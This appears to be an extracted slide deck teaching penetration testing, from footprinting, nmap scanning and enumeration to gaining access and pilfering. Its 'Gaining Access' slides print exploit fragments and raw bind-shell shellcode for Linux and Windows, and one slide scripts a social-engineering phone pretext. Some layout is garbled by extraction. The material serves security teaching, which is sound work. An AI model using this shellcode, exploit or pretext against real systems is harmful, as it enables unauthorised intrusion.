

Penetration Testing

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Penetration Testing Agenda

- Pentesting Basics
 - Pentesting Defined
 - Vulnerability Scanning vs. Penetration testing
- Pentesting Strategy
- Anecdotes from real pentests
- Conducting a good vulnerability scan
 - Footprint, Scan, Enumerate, Gain Access, Escalate, Pilfer, Cover Track, Create Backdoor
 - Demos
- Review

Why Penetration Testing?

- Financial institutions must secure their networks in order to maintain the security of the entire financial system
- But with no ability to assess risk organizations are flying blind
- IT Security assessments are done today with a mixture of Vulnerability Scanning and Penetration Testing

What is Penetration Testing?



Dave's new job as a Pen Tester wasn't anything at all like he'd expected

Penetration Testing

Attempt to **compromise** security by using the same techniques of the **attacker**

- If I was an attacker, how far would I be able to go?
- How easy is it to compromise this computer | network | application | system?

Vulnerability Scanning or Penetration Testing?

Vulnerability Scanning

Look for evidence of

- Vulnerable software versions

- Presence or lack of patches
- Misconfiguration

The "bad guys" don't run Nessus



Vulnerability Scanning alone is not sufficient

- Does not tell you what an attacker can do to your network today
- Does not identify dangerous trust relationships between components
- Lots of false-positives are produced
 Must be manually verified
- Only actionable items are list of missing patches

Organizations should take advantage of both VS and PT

- VS provides a baseline from which to start building a risk profile
- A Penetration Test illustrates what those vulnerabilities mean to the organization today, and can help verify remediation efforts
- The financial system cannot afford for institutions not to perform periodic Penetration Tests

Key elements of a Penetration Test

- Discover and exploit vulnerabilities throughout the network
- Leverage trust-relationships among components
- Access critical information

Example

"After exploiting a vulnerability in the Exchange server, we were able to collect a list of valid email users and passwords. We then used this server to attack the database server in the DMZ (which wasn't visible from the outside). One of the exploits was successful and we gained administrator access to the server, including complete access to all tables in the customers database."

A good pen-test

- Covers all relevant attack vectors
- Clearly shows how vulnerable assets can be compromised
- Tests the system as a whole, including existing defense mechanisms
- Documents all activities performed

Common mistakes organizations make when doing PT

- Limit the test to running a vulnerability scanner
- Testing components in isolation
- Company changes environment while test is being performed
- Overlooking critical relationships, such as suppliers, partners and outsourcing/offshoring vendors

Signs that a test wasn't thorough

- Limited to small subset of network
- Produced a laundry list of vulnerabilities, with no additional verification
- No interpretation of findings, or "hand waving"
- No recommendations beyond list of missing vendor patches
- Lack of detailed activity logs, and/or problems with clean-up

Pentesting Strategy

How much testing is good enough?

Managing Risk



Money

It is always possible to hack a network

- It just depends on how hard you try
- But smart companies
 - Invest in technology and processes that help them reduce the most risk, with the least amount of resources
 - Assume they will be hacked eventually and prepare accordingly

How often can we test costeffectively?

- Penetration Testing was traditionally done once or twice a year due to high cost of service
- Automated Penetration Testing software is enabling organizations today to test more often
 - 75% of IMPACT customers doing testing on a monthly and weekly basis, in contrast with 50% doing it once or twice a year in late 2004

Security as an emergent property

The security of a system is determined by the security of each of its components individually **and** of the system as a whole

Organizations are getting better at

- Deploying OS updates on high-profile public servers
- Hardening network services on public servers
- Securing the perimeter with properly configured firewalls and routers

Penetrating a network through its perimeter is much more difficult today than it was 5 years ago

Organizations still have trouble with

- Client side security
- Custom web applications
- Internal security
- Dealing with continuous change and an everexpanding network of partners, customers and suppliers

Attackers are not standing still

- Industry data points to significant increase in the prevalence and criticality of client-side vulnerabilities
 - A "shift" towards finding vulnerabilities in client-side software is occurring (SANS and Symantec security threat reports)
 - 8 out of 20 categories in latest SANS Top 20 report relate directly to client-side vulnerabilities
 - High profile incidents taking advantage of vulnerabilities in clientside software
 - Windows Metafile image exploit in MySpace.com ad deploys trojan on compromised computers (July 06)
- Organizations with good perimeter security are still wide open to attacks against client-side vulnerabilities

Client Side Vulnerabilities

- Vulnerabilities in client-side software
 - IE, Firefox, Outlook, Thunderbird, MSN Messenger, AOL IM, ICQ, Media Players, and image and document readers/processors
- Examples
 - IE devenum.dll COM Object vulnerability (MS05-038)
 - MSN messenger PNG Processing vulnerability (MS05-009)
 - Windows WMF vulnerability (KB912840)
- Remote/Local, High/Medium/Low?
 - No good fit in current vulnerability taxonomies

The user's workstation

- is less protected & more complex than the publicly available servers
- has legitimate access to the network's critical assets
- connects the Internet with the internal network

Internal network still wide open

- Security much more relaxed than on public facing servers
 - Internal computers are not patched correctly even though automated patch mgmt is in place
- Less (sometimes non-existent) network segmentation
- Plenty of trust relationships that can be leveraged

Random anecdotes from real pen tests

Pen Test #1

- Collected valid email addresses using a badly configured SMTP server and a list of common names in various languages
- Spammed targets with email probe
 - Web bug in to fingerprint targets
 - UNC web bug to force authentication with a fake SMB server
- Exploited Java vulnerability

Pen Test #2

- Collected e-mail addresses by searching MIT's PGP keys server and internet newsgroups

 Some mail archives had complete email headers
- Created profile of each user
 - Workstation details: OS, browser, MUA
 - Personal details: hobbies, favorites, contacts, level of computer proficiency
- Segmented attack and customized emails based on profile

Pen Test #2b

- 1 single email produced about 40 different successful compromises in a matter of minutes
- Done by hitting an e-mail alias for a mailing list

Pen Test #3

- Target network divided in two different company branches
- Launched exploits against both sub-nets. Exploits for the 1st failed, but for the 2nd succeeded
- Company had network intrusion prevention active on one side of the network but not on the other

Pen Test #4

- Compromised ad-hoc test server with old exploit
- Replaced SSH daemon with trojan
- Collected usernames and passwords that were valid on other more important servers on the network

Simple attacks still work

- Sent trojanized executable as menu for new Pizzeria
- Engage in conversation via IM and send a trojan
- Fedex "sample CD-ROMs" with active content

A good pen-test

- Covers all relevant attack vectors
- Clearly shows how vulnerable assets can be compromised
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The Pentesting Process

Think like the bad guys: use the same process.

Consider:

- 1. Social engineering factor
- 2. Technical factor
- 3. Iterative learning

Pentesting Vulnerability Scanning

Now that we've talked about not just doing vulnerability scans, let's talk about...

Vulnerabilty scaninng!

Network attack process



Footprinting

- Techniques:
 - -Open source search WHOIS
 - -whois
 - -DNS zone transfers
- Tools:
 - –USENet, search engines GOOG
 - -networksolutions.com, other registrars
 - –nslookup, dig
- Objective:
 - -IP addresses
 - –Domain names



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VORK SOLUTIONS

VISUALROUTE

ing the Internet

Footprinting

- "Google hacking"
 - -Finding information about the target using google
 - -Information inadvertently opened to the web:
 - shell history files (intitle:index.of .bash_history)
 - misconfigured intranet portals ("Welcome to Intranet")
 - Panasonic network cameras (inurl:"ViewerFrame?Mode=")
 - The results of pentests! ("______ performed a vulnerability assessment")
 - -Vulnerable software
 - Known cross-site scripting vul. ("PHP : Admin.php")
 - Known PHP vulnerabilities ("Powered by: Version 1.1.5") – remote code execution!

Footprinting

- "Google hacking"
 - Directory listings:
 - "intitle:index.of site: <mydomain.com>" (Apache)
 - Errors & Warning messages
 - "error | warning site: <mydomain.com>"
 - Email harvesting... how DID they get my email address?
 - "[a-z]*@[a-z]*mydomain.com"
 - Google API makes automated queries easy.
 - Find exposed subdomains can an attacker find your critical network elements?

Footprinting – Poking around

- <mycompany.com>'s website
 - comments in source code
 - developer email addresses
 - names of administrators
 - maybe internal telephone numbers
- USENET, other web forums
 - questions from <mycompany.com> personnel about hardware/software being used
 - more email addresses, names of employees, etc

Footprinting - whois

whois <mycompany.com>

Registrant: <MyCompany Headquarters> 123 Main St Vulnerable, CA 90909 USA

Domain Name: <mycompany.com>

Administrative Contact: <MyCompany> John Doe john@<mycompany.com> One MyCompany Way Vulnerable, CA 90909 USA tel: 650-555-5555 fax: 650-555-5556

Footprinting - whois

Technical Contact: dave@<mycompany.com> One MyCompany Way Vulnerable, CA 90909 USA tel: 650-555-5557 fax: 650-555-5558 Record expires on 23-Sep-2009. Record created on 22-Sep-1993. Database last updated on 24-Feb-2007 01:39:54 EST.

Domain servers in listed order:

dns-1.NS.<mycompany>.COM dns-2.NS.<mycompany>.COM dns-3.NS.<mycompany>.COM dns-4.NS.<mycompany>.COM

Footprinting - whois

- Doesn't seem too bad... what can be done with this?
 - Search google, USENET, technical forums for john@<mycompany.com> and dave@<mycompany.com>
 - Call main company number, try to impersonate John Doe, the system admin – may work especially well if details on John can be found online, say on a a webpage
 - an early morning call to the company operator: "I'm sorry, my daughter Karen is sick today, and I'm working from home... could you put me through to Jane (the CFO's secretary), there's a problem with her account."
 - May or may not work depending on:
 - How well-trained the operators are
 - Does the company have an internal phone directory? Would this call be unusual?
 - How big is the company? Would the operator know John's voice?
 - Keep in mind: much whois information is purposefully inaccurate, and is often outdated

Footprinting - DNS

How DNS works



Footprinting - DNS

• Zone transfer

Zones are used so an administrator can make changes to a primary nameserver that can be replicated to a secondary one

If an administrator wishes to add an entry for finance-dept.<mycompany.com>, he can modify the entry on ns1.<mycompany.com>

and use a zone transfer to replicate it to

ns2.<mycompany.com>

Footprinting - DNS

- Zone transfer con't
 - Properly configured, ns1.<mycompany.com> should only allow zone transfers from ns2.<mycompany.com> (or other company nameservers).
 - If ns1.<mycompany.com> allows zone transfers from the public internet, then we can pull down the entire zone for our own use.

From whois, we obtained the domain servers:

Domain servers in listed order:

NS1.<mycompany>.COM NS2.<mycompany>.COM NS3.<mycompany>.COM NS4.<mycompany>.COM

Resolve the IPs of these nameservers: # nslookup ns1.<mycompany.com> Non-authoritative answer: Name: ns1.<mycompany.com> Address: 1.2.3.4

Repeat for the others.... So, we have the following nameserver IPs: 1.2.3.4, 1.2.3.5, 1.2.3.6, 1.2.3.7

Attempt to preform a zone transfer on each of these nameservers, to see if any is misconfigured:

dig @1.2.3.4 <mycompany.com>
<< >> DiG 9.2.5 << >> @1.2.3.4 <mycompany.com> axfr
; (1 server found)
;; global options: printcmd

; Transfer failed

dig @1.2.3.5 <mycompany.com> This one works!

Doamin name	Query cla	ass	Record type	Entry
<mycomp>.com.</mycomp>		IN	MX	<pre>email.<mycompany>.com.</mycompany></pre>
<mycomp>.com.</mycomp>		IN	MX	<pre>spamfilter.<mycomp>.com.</mycomp></pre>
<cust>.<mycomp>.com. IN</mycomp></cust>		A	10.1.1.5	
www. <cust>.<mycomp>.com. IN</mycomp></cust>		CNAME	<customer>.<mycomp>.com.</mycomp></customer>	
cisco2611. <mycomp>.com. IN</mycomp>		IN	A	1.2.3.10
demo. <mycomp>.com. IN</mycomp>		A	10.1.1.20	
dev2. <mycomp>.com. IN</mycomp>		IN	A	10.1.1.30
labs. <mycomp>.com. IN</mycomp>		A	10.1.1.19	
test. <mycomp>.com. IN</mycomp>		A	1.2.3.11	
www. <mycomp>.com. IN</mycomp>		А	1.2.3.8	

Notice both internal (10.1.1.x) IPs and public ("1.2.3.x") IPs.

Gives us a starting point – notice the "test" system with a public IP. More likely to be less patched, perhaps? Also notice the Cisco 2611 with a a public IP....

- When zone transfers don't work, we can still:
 - Do reverse DNS lookups across relevant subnets
 - Use other DNS tools like dnspredict, dnswalk
 - Scan entire subnets
- So, that brings us to.... Scanning!

Scanning

- Objective:
 - -Bulk target assessment
 - -Identify listening services



- -Focus on promising avenues of entry
- Techniques:
 - -Ping sweep
 - -TCP/UDP port scans
 - -others

BIND VIEW.



• Tools:

ping, nmap, Internet Scanner,
BindView Hacker Shield, Nessus,
Metasploit, Core Impact, CANVAS



The next generation (of the tools that came before it) integrates all of their capabilities in a single tool:

- Stealth scanning
- Stack analysis/TCP fingerprinting
- Sequence number prediction
- Decoy

- One of the most popular pentesting tools (if not the most popular)
- Many "stealth" features
- TCP/IP fingerprinting for remote OS detection (whitepaper: <u>http://insecure.org/nmap/osdetect/</u>)
- Version detection (important!) and good!
- Firewall/IDS evasion techniques (fragmented packets, TTL, timing options)
- IPv6 scanning
- Scan a subnet or a single IP

Typical (default) operation:

nmap -A -O 10.1.1.0/24

What happens:

- 1. Host discovery see which IPs within the /24 are active.
 - Sends an ACK packet destined for port 80
 - ICMP echo request
 - Options exist to send TCP SYN/ACK, UDP, ICMP, etc, probes on various ports for host discovery
 - If hosts are on a local subnet, ARP host discovery is used.
- 2. Upon discovering an active host:
 - Probes all ports up to 1024 and 636 other higher ports defined in config file (scan order is randomized by default).
 - Will try to guess what type of service based on response (fallback is to use port number to guess the service). -- banner grabbing and other techniques
 - Default port scan uses simple SYN packets, but many options are available.

TCP SYN ("half-open") scan:

nmap -v -A -0 192.168.0.100



Somewhat "stealthy" because a full connection is not made – but still pretty obvious as a scan by most IDS devices.

TCP NULL, FIN, and Xmas scans:

- Success is dependent on the implementation of the TCP stack on the target machine.
- Makes use of how responses for malformed packets are treated under the TCP RFC.



If return packet is RST If no response If ICMP unreachable error

- \rightarrow port 22 is closed.
- \rightarrow port 22 is either open or filtered.
- \rightarrow port 22 is filtered.

Windows machines don't compny with this RFC – they send RST if the port is either open or closed.

nmap -A -v -O scanme.nmap.org

Host scanme.nmap.org (205.217.153.62) appears to be up ... good. Interesting ports on scanme.nmap.org (205.217.153.62): Not shown: 1635 filtered ports, 37 closed ports PORT STATE SERVICE VERSION OpenSSH 4.3 (protocol 2.0) 22/tcp open ssh 25/tcp open smtp 53/tcp open domain ISC Bind 8.4.4 Apache httpd 2.2.2 ((Fedora)) 80/tcp open http 110/tcp open pop3? 1080/tcp open http-proxy Tinyproxy 1.6.0 3128/tcp open http-proxy Tinyproxy 1.6.0 8080/tcp open http-proxy Tinyproxy 1.6.0 TCP Sequence Prediction: Class=truly random Difficulty=9999999 (Good luck!) IPID Sequence Generation: Incremental Nmap finished: 1 IP address (1 host up) scanned in 3795.005 seconds

Raw packets sent: 5313 (236.176KB) | Rcvd: 5302 (244.042KB)

Nmap Front End v3.49						
<u>F</u> ile <u>V</u> iew	<u>H</u> elp					
Target(s): www.insecure.org	Scan Exit					
Scan Discover Timing Files Options						
Scan Type	Scanned Ports					
SYN Stealth Scan 👻	Most Important [fast]					
Relay Host:	Range:					
Scan Extensions						
RPC Scan Identid Info 🖌 OS Detection 🖌 Version Probe						
Starting nmap 3,49 (http://www.insecure.org/nmap/) at 2003-12-19 14:28 PST Interesting ports on www.insecure.org (205,217,153,53): (The 1212 ports scanned but not shown below are in state: filtered) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 3,1p1 (protocol 1,99) 25/tcp open sntp qmail sntpd 53/tcp open domain ISC Bind 9,2,1 80/tcp open http Apache httpd 2,0,39 ((Unix) mod_per1/1.99_07-dev Per1/v5,6,1) 113/tcp closed auth Device type: general purpose Running: Linux 2,4,X12,5,X OS details: Linux Kernel 2,4,0 - 2,5,20 Uptime 212,119 days (since Wed May 21 12;38;26 2003) Nmap run completed 1 IP address (1 host up) scanned in 33,792 seconds						
Command: nmap -sS -sV -O -F -PI -T4 www.insecure.org						

hping – Custom packet crafting

- Conceptually, a TCP version of 'Ping,' and more.
- Sends custom TCP packets to a host and listens for replies
- Enables port scanning and spoofing simultaneously, by crafting packets and analyzing the return

hping v3.0

- Uses hping crafted packets to:
 - Test firewall rules
 - Test net performance
 - Remotely fingerprint OSes
 - Audit TCP/IP stacks
 - Transfer files across a firewall
 - Check if a host is up
 - a TCP-based "ping" will sometimes traverse a firewall where an ICMP request will not
 - Craft custom TCP packets set custom window size, TTL, flags, packet size, anything!

"Inverse mapping" using hping

Create a custom RST packet: # hping -R 192.168.0.100



If return packet is ICMP Unreachable \rightarrow host doesn't existIf no response \rightarrow host does exist

Quite stealthy – many IDSes don't detect it because of the large number of RST packets in the wild.

Enumeration

• Objective:

- Identify valid user accounts
- -Find poorly protected resources or shares
- Identify vulnerable applications on target hosts

• Techniques:

-List user accounts

nc -v www.website.com 80

- -List file shares
- Identify application versions by fingerprinting (banner grabbing)

• Tools:

- *dumpacl, sid2user* (Microsoft systems)
- *showmount* (Unix systems)
- -Banner grabbing (netcat, telnet, rpcinfo, nessus, etc)

Enumeration – telnet... more versioning

Very simple way to "banner grab" to find versions:

```
# telnet scanme.nmap.org 22
Trying 205.217.153.62...
Connected to scanme.nmap.org.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.3
^]
telnet> quit
Connection closed.
```

Keep in mind that many people fake their banners to deliver incorrect messages.

Enumeration – userids on a Windows domain

F:\DEV\cpp\GetUserInfo>getuserinfo \\2k3utl01\.

GetUserInfo V02.07.00cpp Joe Richards (joe@joeware.net) September 2003

User Accounts for $\backslash \backslash 2$	2k3utl01	
admin	Administrator	ASPNET
dsauter	Guest	IUSR_2K3UTL01
IWAM_2K3UTL01	joe	
SUPPORT_388945a0		

Requires no special permissions or "hacks" to run. Making use of the calls to the Windows API for security identifiers of the user accounts. Doesn't work on Windows XP SP2. (<u>http://www.joeware.net/win/free/tools/getuserinfo.htm</u>)

Gaining Access

- Objective:
 - Enter target computer
 - Establish toe-hold



- Techniques:
 - Password stealing or eavesdropping (Man in the Middle Atack)
 - Brute force access
 - Buffer overflow

• Tools:

- *tcpdump*, L0phtCrack's *readsmb*
- tftp (grab /etc/passwd on Unix hosts)
- pwdump2 (grab password hashes on W2K, Win 2003 systems)
- Scripts targeting known vulnerabilities
- -Keyloggers, spyware, root kits, LKMs
- metasploit, nessus, canvas, impact

What is a Buffer Overflow?

- A buffer overflow occurs when:
 - -Bytes are copied from one memory location to another without proper bounds checking.



Buffer Overflows on the Stack



Malicious user supplies input to *buf*... a very carefully constructed string containing byte code that is longer than the 100-byte size of *buf*. This overwrites *func_2*'s address with *buf*'s address. When *func_3* returns, it will branch to *buf* instead of *func_2*.

Gaining Access

// Apache mod_gzip (with debug_mode) <= 1.2.26.1a Remote Exploit</pre>

```
/*
   [exploit code] for mod gzip (with debug mode) <= 1.2.26.1a
\
/
   Created by xCrZx crazy einstein yahoo com /05.06.03/
\
/
   Tested on RedHat 8.0 (Psyche) (here is target for it),
\
                also tested on FreeBSD 4.7 (1.3.19.2a) (here is no target
   for it :)
/
   remote exploit for mod_gzip (debug_mode) [Linux/*BSD]
/
                          by xCrZx [crazy einstein@yahoo.com] /05.06.03/
\
   Using: ret err = 0x42127480, ret = 0xbfffd8f0
\
        [!] Connecting to localhost:80
Ν
        [+] Connected!
        [*] Trying to connect to localhost:2003 port!!! Pray for success!
        [*] Sleeping at 2 seconds...
        [!] Shell is accessible!
Υ.
        uid=99(nobody) gid=99(nobody) groups=99(nobody)
/
        Linux blacksand 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686
\
```

Gaining Access – Linux Shell Code

```
struct TARGETS {
           char *distr;
           long ret;
           long std err;
           char *shellcode;
           char * imp;
\} targets[] = {
           /* you can add targets here */
            {"RedHat 8.0 (Psyche)", // disributive info
                0xbfffd8f0, // return address in stack
                0x42127480, // address of stderr
                //shellcode for Linux x86 -> bind shell on 2003 port//
                       "\x31\xc0\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80"
                       x_{31}x_{0}x_{9}x_{45}x_{0}x_{89}x_{45}x_{0}x_{89}x_{45}x_{0}x_{89}x_{45}x_{0}x_{89}x_{45}x_{0}x_{89}x_{45}x_{0}x_{89}x_{45}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}x_{10}
                       "\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14\x66\xc7\x45\x16"
                       x07 xd3 x31 xd2 x89 x55 x18 x8d x55 x14 x89 x55 x0c xc6 x45 x10 x10
                       "\xb0\x66\xcd\x80\x40\x89\x45\x0c\x43\xb0\x66\xcd\x80\x43\x89\x45"
                       "\x0c\x89\x45\x10\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41"
                       "\x80\xf9\x03\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x62"
                       \frac{x69}{x89} = \frac{x52}{x53} = \frac{x69}{x00} = \frac{x60}{x00} = \frac{x60}{x80}
```

Gaining Access – Win Shell Code

// MS Frontpage Server Extensions fp30reg.dll Exploit (MS03-051)

unsigned char kyrgyz_bind_code[] = { 0xEB, 0x03, 0x5D, 0xEB, 0x05, 0xE8, 0xF8, 0xFF, 0xFF, 0xFF, 0x8B, 0xC5, 0x83, 0xC0, 0x11, 0x33, 0xC9, 0x66, 0xB9, 0xC9, 0x01, 0x80, 0x30, 0x88, 0x40, 0xE2, 0xFA, 0xDD, 0x03, 0x64, 0x03, 0x7C, 0x09, 0x64, 0x08, 0x88, 0x88, 0x88, 0x60, 0xC4, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x74, 0x77, 0xFE, 0x74, 0xE0, 0x06, 0xC6, 0x86, 0x64, 0x60, 0xD9, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x4E, 0xE0, 0xBB, 0xBA, 0x88, 0x88, 0xE0, 0xFF, 0xFB, 0xBA, 0xD7, 0xDC, 0x77, 0xDE, 0x4E, 0x01, 0xCE, 0x70, 0x77, 0xFE, 0x74, 0xE0, 0x25, 0x51, 0x8D, 0x46, 0x60, 0xB8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x5A, 0x77, 0xFE, 0x74, 0xE0, 0xFA, 0x76, 0x3B, 0x9E, 0x60, 0xA8, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x46, 0x77, 0xFE, 0x74, 0xE0, 0x67, 0x46, 0x68, 0xE8, 0x60, 0x98, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x42, 0x77, 0xFE, 0x70, 0xE0, 0x43, 0x65, 0x74, 0xB3, 0x60, 0x88, 0x89, 0x88, 0x88, 0x01, 0xCE, 0x7C, 0x77, 0xFE, 0x70, 0xE0, 0x51, 0x81, 0x7D, 0x25, 0x60, 0x78, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x78, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x92, 0xF8, 0x4F, 0x60, 0x68, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x64, 0x77, 0xFE, 0x70, 0xE0, 0x2C, 0x25, 0xA6, 0x61, 0x60, 0x58, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x60, 0x77, 0xFE, 0x70, 0xE0, 0x6D, 0xC1, 0x0E, 0xC1, 0x60, 0x48, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x6A, 0x77, 0xFE, 0x70, 0xE0, 0x6F, 0xF1, 0x4E, 0xF1, 0x60, 0x38, 0x88, 0x88, 0x88, 0x01, 0xCE, 0x5E, 0xBB, 0x77, 0x09, 0x64, 0x7C, 0x89, 0x88, 0x88, 0xDC, 0xE0, 0x89, 0x89, 0x88, 0x88, 0x77, 0xDE, 0x7C, 0xD8, 0xD8, 0xD8, 0xD8, 0xC8, 0xD8, 0xC8, 0xD8, 0x77, 0xDE, 0x78, 0x03, 0x50, 0xDF, 0xDF, 0xE0, 0x8A, 0x8A, 0xAF, 0x87, 0x03, 0x44, 0xE2, 0x9E, 0xD9, 0xDB, 0x77, 0xDE, 0x64, 0xDF, 0xDB, 0x77, 0xDE, 0x60, 0xBB, 0x77, 0xDF, 0xD9, 0xDB, 0x77, 0xDE, 0x6A, 0x03, 0x58, 0x01, 0xCE, 0x36, 0xE0, 0xEB, 0xE5, 0xEC, 0x88, 0x01, 0xEE, 0x4A, 0x0B, 0x4C, 0x24, 0x05, 0xB4, 0xAC, 0xBB, 0x48, 0xBB, 0x41, 0x08, 0x49, 0x9D, 0x23, 0x6A, 0x75, 0x4E, 0xCC, 0xAC, 0x98, 0xCC, 0x76, 0xCC, 0xAC, 0xB5, 0x01, 0xDC, 0xAC, 0xC0, 0x01, 0xDC, 0xAC, 0xC4, 0x01, 0xDC, 0xAC, 0xD8, 0x05, 0xCC, 0xAC, 0x98, 0xDC, 0xD8, 0xD9, 0xD9, 0xD9, 0xC9, 0xD9, 0xC1, 0xD9, 0xD9, 0x77, 0xFE, 0x4A, 0xD9, 0x77, 0xDE, 0x46, 0x03, 0x44, 0xE2, 0x77, 0x77, 0xB9, 0x77, 0xDE, 0x5A, 0x03, 0x40, 0x77, 0xFE, 0x36, 0x77, 0xDE, 0x5E, 0x63, 0x16, 0x77, 0xDE, 0x9C, 0xDE, 0xEC, 0x29, 0xB8, 0x88, 0x88, 0x88, 0x03, 0xC8, 0x84, 0x03, 0xF8, 0x94, 0x25, 0x03, 0xC8, 0x80, 0xD6, 0x4A, 0x8C, 0x88, 0xDB, 0xDD, 0xDE, 0xDF, 0x03, 0xE4, 0xAC, 0x90, 0x03, 0xCD, 0xB4, 0x03, 0xDC, 0x8D, 0xF0, 0x8B, 0x5D, 0x03, 0xC2, 0x90, 0x03, 0xD2, 0xA8, 0x8B, 0x55, 0x6B, 0xBA, 0xC1, 0x03, 0xBC, 0x03, 0x8B, 0x7D, 0xBB, 0x77, 0x74, 0xBB, 0x48, 0x24, 0xB2, 0x4C, 0xFC, 0x8F, 0x49, 0x47, 0x85, 0x8B, 0x70, 0x63, 0x7A, 0xB3, 0xF4, 0xAC, 0x9C, 0xFD, 0x69, 0x03, 0xD2, 0xAC, 0x8B, 0x55, 0xEE, 0x03, 0x84, 0xC3, 0x03, 0xD2, 0x94, 0x8B, 0x55, 0x03, 0x8C, 0x03, 0x8B, 0x4D, 0x63, 0x8A, 0xBB, 0x48, 0x03, 0x5D, 0xD7, 0xD6, 0xD5, 0xD3, 0x4A, 0x8C, 0x88

};

Scanning and gaining access

Commercial tools:

- CORE IMPACT
- eeye Retina
- CANVAS

Free tools:

- Nessus a vulnerability scanner, v3 free, v2 open source
- Metasploit open source

Gaining Access – brute forcing

- ssh brute forcing
 - Easy!
 - Need a list of user accounts
 - Only need one person to have a poor password
 - Once you have user-level access on a machine, privilege escalation is necessary for root
- Not just ssh, also other logon services (think VNC, ftp, SMB, https, etc)
- Easily seen in logs... but are you watching?

Escalating Privilege

• Objective:

- -Gain complete control
- -Gain ROOT or ADMIN
- Techniques:
 - Password cracking
 - -Published exploits
 - -Reverse telnet, cron jobs
 - -Hunting for unprotected information and clues

• Tools:

- crack, IOphtcrack, john the ripper
- rdist, getadmin, sechole
- -Scripts targeting known vulnerabilities
- -"rootkits"

Explorer User Prompt X JavaScript Prompt: OK Please enter the name of the server you want hacked. Do not include the 'www' part, or any subdirectories. Example type 'acme.net' Cancel





Root Shell

- The "holy grail" of an attack (such as a buffer overflow) is the creation of a "root shell". On UNIX, the "root" user has control over the machine. There are three ways that such shells can be bound to connections:
 - Conversion The TCP connection used to exploit the server (such as for FTP, DNS, RPC) is converted to a shell-prompt.
 - Connect The exploit code creates an outbound connection from the exploited machine back to the attacker.
 - Packet sniffing is a form of wire-tap applied to computer networks instead of phone networks.
 - Ethereal is a freeware packet sniffer for Windows and Unix.

Pilfering

- Objective:
 - -Gather details on local files, users, hidden information
 - -Gain access to trusted systems
 - Establish drop site for tools or take advantage of CPU cycles
- Techniques:
 - -Listing directory structures, shares, registry information
 - -Searching for trusted relationships
 - Searching for cleartext passwords
 - -Revealing Local Security Authority (LSA) secrets
- Tools:
 - revelation, barok

Revelati**

- rdist, rhosts, getadmin, sechole
- Scripts targeting known vulnerabilities

LSA Secrets via "Revelation"

	😚 SnadBoy's Revelation	×
	Password Field Selector Close 1. Left click and drag the cross to the desired password field	
Enter Network Password	2. Read the revealed password below Password	
Please enter your authentication	website	SnadBoy's Revelation
